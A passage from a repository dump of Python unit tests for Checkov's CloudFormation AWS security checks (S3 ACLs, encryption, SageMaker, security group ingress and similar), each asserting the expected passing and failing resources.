self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RedshiftInEc2ClassicMode.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.RedshiftInEc2ClassicMode import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedshiftInEc2ClassicMode(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_RedshiftInEc2ClassicMode\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterDefault\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3AccessLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3AccessLogs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3AccessLogs(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3BlockPublicACLs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3BlockPublicACLs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3BlockPublicACLs(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_failure_auth_read(self):\n        resource_conf = {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"AccessControl\": \"AuthenticatedRead\"\n            }\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3BlockPublicPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3BlockPublicPolicy import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3BlockPublicPolicy(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3Encryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3Encryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3Versioning(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3IgnorePublicACLs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3IgnorePublicACLs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3IgnorePublicACLs(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3PublicACLRead.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3PublicACLRead import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3PublicACLRead(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3PublicACLWrite.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3PublicACLWrite import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3PublicACLWrite(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 5)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3RestrictPublicBuckets.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3RestrictPublicBuckets import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3RestrictPublicBuckets(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_S3Versioning.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.S3Versioning import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestS3Versioning(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/S3Templates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SNSTopicEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SNSTopicEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSNSTopicEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SNSTopicEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SQSQueueEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SQSQueueEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQSQueueEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQSQueueEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SagemakerDataQualityJobDefinitionEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SagemakerDataQualityJobDefinitionEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSagemakerDataQualityJobDefinitionEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDataQualityJobDefinitionEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionPass\",\n        }\n        failing_resources = {\n            \"AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionFail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SagemakerDataQualityJobDefinitionTrafficEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SagemakerDataQualityJobDefinitionTrafficEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSagemakerDataQualityJobDefinitionTrafficEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDataQualityJobDefinitionTrafficEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SageMaker::DataQualityJobDefinition.DataQualityJobDefinitionPass\",\n        }\n        failing_resources = {\n            \"AWS::SageMaker::DataQualityJobDefinition.DataQualityJobDefinitionFail1\",\n            \"AWS::SageMaker::DataQualityJobDefinition.DataQualityJobDefinitionFail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SagemakerDataQualityJobDefinitionVolumeEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SagemakerDataQualityJobDefinitionVolumeEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSagemakerDataQualityJobDefinitionVolumeEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDataQualityJobDefinitionVolumeEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionPass\",\n        }\n        failing_resources = {\n            \"AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionFail1\",\n            \"AWS::SageMaker::DataQualityJobDefinition.MyDataQualityJobDefinitionFail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SagemakerModelWithNetworkIsolation.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SagemakerModelWithNetworkIsolation import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSagemakerModelWithNetworkIsolation(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerModelWithNetworkIsolation\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SageMaker::Model.SageMakerModelPass\",\n        }\n        failing_resources = {\n            \"AWS::SageMaker::Model.SageMakerModelFail1\",\n            \"AWS::SageMaker::Model.SageMakerModelFail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SagemakerNotebookEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SagemakerNotebookEncryptedWithCMK import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSagemakerNotebookEncryptedWithCMK(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerNotebookEncryptedWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SageMaker::NotebookInstance.BasicNotebookInstancePASS\",\n            \"AWS::SageMaker::Domain.BasicDomainPASS\"\n        }\n        failing_resources = {\n            \"AWS::SageMaker::NotebookInstance.BasicNotebookInstanceFAIL\",\n            \"AWS::SageMaker::Domain.BasicDomainFAIL\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SagemakerNotebookInstanceAllowsIMDSv2.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SagemakerNotebookInstanceAllowsIMDSv2 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSagemakerNotebookInstanceAllowsIMDSv2(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerNotebookInstanceAllowsIMDSv2\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SageMaker::NotebookInstance.BasicNotebookInstancePass\",\n        }\n        failing_resources = {\n            \"AWS::SageMaker::NotebookInstance.BasicNotebookInstanceFail1\",\n            \"AWS::SageMaker::NotebookInstance.BasicNotebookInstanceFail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SecretManagerSecretEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SecretManagerSecretEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecretManagerSecretEncrypted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecretManagerSecretEncrypted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SecretsManager::Secret.MyCMK\",\n        }\n        failing_resources = {\n            \"AWS::SecretsManager::Secret.NoKMS\",\n            \"AWS::SecretsManager::Secret.AWSKMS0\",\n            \"AWS::SecretsManager::Secret.AWSKMS1\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SecurityGroupRuleDescription.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SecurityGroupRuleDescription import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityGroupRuleDescription(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityGroupRuleDescription\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SecurityGroupUnrestrictedIngress22.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SecurityGroupUnrestrictedIngress22 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityGroupUnrestrictedIngress22(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityGroupUnrestrictedIngress22\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SecurityGroupUnrestrictedIngress3389.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SecurityGroupUnrestrictedIngress3389 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityGroupUnrestrictedIngress3389\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_SecurityGroupUnrestrictedIngress80.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.SecurityGroupUnrestrictedIngress80 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityGroupUnrestrictedIngress80(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityGroupUnrestrictedIngress80\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_TimestreamDatabaseKMSKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.TimestreamDatabaseKMSKey import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedShiftSSL(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TimestreamDatabaseKMSKey\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Timestream::Database.TimestreamDatabaseEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Timestream::Database.TimestreamDatabaseDefault\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_TransferServerIsPublic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.TransferServerIsPublic import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestTransferServerIsPublic(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TransferServerIsPublic\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Transfer::Server.VPC\",\n            \"AWS::Transfer::Server.VPCENDPOINT\",\n        }\n        failing_resources = {\n            \"AWS::Transfer::Server.PUBLIC\",\n            \"AWS::Transfer::Server.NONE\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_VPCEndpointAcceptanceConfigured.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.VPCEndpointAcceptanceConfigured import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestVPCEndpointAcceptanceConfigured(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_VPCEndpointAcceptanceConfigured\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::EC2::VPCEndpointService.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::EC2::VPCEndpointService.FailDefault\",\n            \"AWS::EC2::VPCEndpointService.FailExplicit\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_WAFACLCVE202144228.py",
